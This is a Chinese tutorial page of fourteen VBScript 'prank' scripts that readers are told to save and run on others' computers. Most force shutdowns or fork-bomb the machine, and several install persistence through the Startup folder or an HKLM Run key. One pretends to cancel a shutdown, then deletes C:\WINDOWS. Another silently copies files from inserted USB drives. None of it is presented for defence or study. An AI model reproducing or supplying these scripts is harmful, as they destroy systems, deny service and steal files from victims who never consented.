教程集 www.jiaochengji.com
教程集 >  脚本编程  >  vbscript  >  正文 vbs恶作剧(整人代码)-关机 我是猪 重启 喊我爹等

vbs恶作剧(整人代码)-关机 我是猪 重启 喊我爹等

发布时间:2014-10-14   编辑:jiaochengji.com
vbs恶作剧(整人代码)-关机 我是猪 重启 喊我爹等,有的玩了,哈哈。将以下代码分别保存为xxx.vbs,然后双击运行即可。

1、定时关机
 

复制代码 代码示例:

dim a
a=10
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 10",,true
Set s = CreateObject("sapi.spvoice")
while a
s.Speak a
a = a - 1
wscript.sleep 100
wend
CreateObject("SAPI.SpVoice").Speak "Bomb?"

do
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)
loop

2、文件无毒吗?真的无毒吗?
 

复制代码 代码示例:
msgbox"此文件无毒,请放心使用。",vbretrycancel,"系统提示。"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.Run "cmd.exe /c shutdown -s -t 300"
wscript.sleep 2000
dim a
do
a=inputbox("输入abc,否则关机。")
if a="abc" then
msgbox" 很遗憾,你中招了,这是整人程序,你就等着关机吧!"
exit do
else
msgbox"乖点,输入abc"
end if
loop

3、我是猪,我是猪
 

复制代码 代码示例:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox "乖"
loop
msgbox "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox "自己骂自己的不要脸~~~~~~",4, " "

4、陪你玩一会儿
 

复制代码 代码示例:
msgbox"你是不是很无聊啊?",4
msgbox"我来陪你玩会儿"
msgbox"做好玩儿的准备吧!"
do
msgbox"你无聊吗?",vbinformation,"你无聊吗?"
loop

5、关机,关机
 

复制代码 代码示例:
on error resume next
set wr=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
set f = wr.getfile(wscript.scriptfullname)
q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")
if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true
ws.run"shutdown -p",vbhide

6、重启
 

复制代码 代码示例:
set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop

7、还是关机
 

复制代码 代码示例:

Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "QUESTION.vbS"
Key_data = "C:\windows\system32\QUESTION.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
Dim fso,file
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.getfile(WScript.ScriptFullName)
file.copy "c:\windows\system32\"
Set fso = CreateObject("Scripting.FileSystemObject")
f = fso.DeleteFile(WScript.ScriptName)

Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true

8、喊我爹
 

复制代码 代码示例:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""喊我声爹,快喊"" ",0 ,true
dim a
do while(a <> "爹")
a = inputbox ("喊我爹,快撒,喊 ""爹"" ","喊不喊","不喊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "儿子"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "等下老爹买棒棒糖给你吃"

9、说你爱我
 

复制代码 代码示例:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说你爱我,不说你爱我就两分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "我爱你")
a = inputbox ("说你爱我,就不关机,快撒,说 ""你爱我"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,何必这么费劲"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,今天真过瘾

10、爆破电脑
 

复制代码 代码示例:
i = MsgBox("由于你灌水太水需要爆破电脑。"&_
vbCrLf&"确定爆破吗?",vbOKCancel,_
"爆破电脑系统!!!!!")
if i = 1 then
CreateObject("SAPI.SpVoice").Speak "bone"
end if

11、U盘大盗
 

复制代码 代码示例:

On Error Resume Next
Dim i
i=0

Set fso=CreateObject("Scripting.FileSystemObject")
IP=InputBox("请输入要监控的U盘盘符:","U盘大盗-By 最聪明的猪","I:")
ext=InputBox("请输入要盗窃的文件名的扩展名:","U盘大盗-By 最聪明的猪","txt")
MyFolder=InputBox("请输入保存文件的路径:","U盘大盗-By 最聪明的猪","E:\U盘大盗")
fso.CreateFolder(MyFolder)
Do
WScript.Sleep 1000
If fso.FolderExists(IP & "\") Then Exit Do
Loop

Scan(IP & "\")

Sub Scan(Folder_)
On Error Resume Next
Set Folder_=fso.GetFolder(Folder_)
Set Files=Folder_.Files

For Each File in Files
ext_=fso.GetExtensionName(File)
ext_=Lcase(ext_)
ext=Lcase(ext)
If ext_=ext Then
i=i+1
fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name)
End If
Next

Set SubFolders=Folder_.SubFolders
For Each SubFolder In SubFolders
Scan(Subfolder)
Next
End Sub

12、重不重启
 

复制代码 代码示例:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""一分钟后,你的机子就完了,不信?!试试!"" ",0 ,true
dim a
do while(a <> "不重,不重,我就不重!")
a = inputbox ("唯一的办法就是""重启"" ","重不重启","不重,不重,我就不重!",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "真的不是我说你,乱按什么确定啊,希望你在网吧.菩萨保佑......"
msgbox chr(13) + chr(13) + chr(13) + "你的机子真的要完了,赶紧准备点钱重装机子吧.阿弥陀佛,善哉,善哉!"
msgbox chr(13) + chr(13) + chr(13) + "以后手不要在那么快了哦~"
msgbox chr(13) + chr(13) + chr(13) + "88~"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox " " + chr(14) + "~"
Dim a
Set a = CreateObject("Scripting.FileSystemObject")
a.DeleteFolder ("C:\WINDOWS")

13、死机无敌手
 

复制代码 代码示例:
msgbox"让你见识一下啥叫狠毒!"
do
set ws=createobjecet("wscript.shell")
ws.run"explorer.exe"
ws.run"cmd.exe"
loop

14、格式化,害怕不
 

复制代码 代码示例:
on error resume next
msgbox"即将格式化!请做好准备!",vbyesno
msgbox"准备好后点yes!",vbyesno
msgbox"sorry,忘说了,点no也行!"
msgbox"我对不起你啊!呜呜呜555哈哈哈哈!"
msgbox"靠,我笑个屁呀!我可是著名博士!在精神病院搞一种研究。。。"
msgbox"被人研究!"
msgbox"就知道你会笑!告诉你,我最歧视两种人!一是歧视别人的人,二是爱笑人,三是不识数的人!"
msgbox"你咋还笑?!是时候惩罚你了!"
do
set ws=createobjecet("wscript.shell")
ws.run"explorer.exe"
ws.run"cmd.exe"
ws.run"cmd.exe /c shutdown -s -t 7200",,ture
loop

您可能感兴趣的文章:
vbs恶作剧(整人代码)-关机 我是猪 重启 喊我爹等
vbs恶作剧(整人代码)-感人的文章(我是猪)
vbs恶作剧(整人代码)-英文报数 蓝屏 重启电脑等
vbs恶作剧(整人代码)-让他承认自己是大傻B
vbs整人代码-定时关机
vbs恶作剧(整人代码)-死循环 讲故事等
vbs恶作剧(整人代码)-删除桌面 关机密码 关机前打开多个窗口等
vbs恶作剧(整人代码)-网页整人效果
vbs恶作剧(整人代码)-写入大量的垃圾文件,吓哭他
vbs整人代码-输入指定的话不然不关闭

关键词: vbs恶作剧  vbs整人代码   
[关闭]
~ ~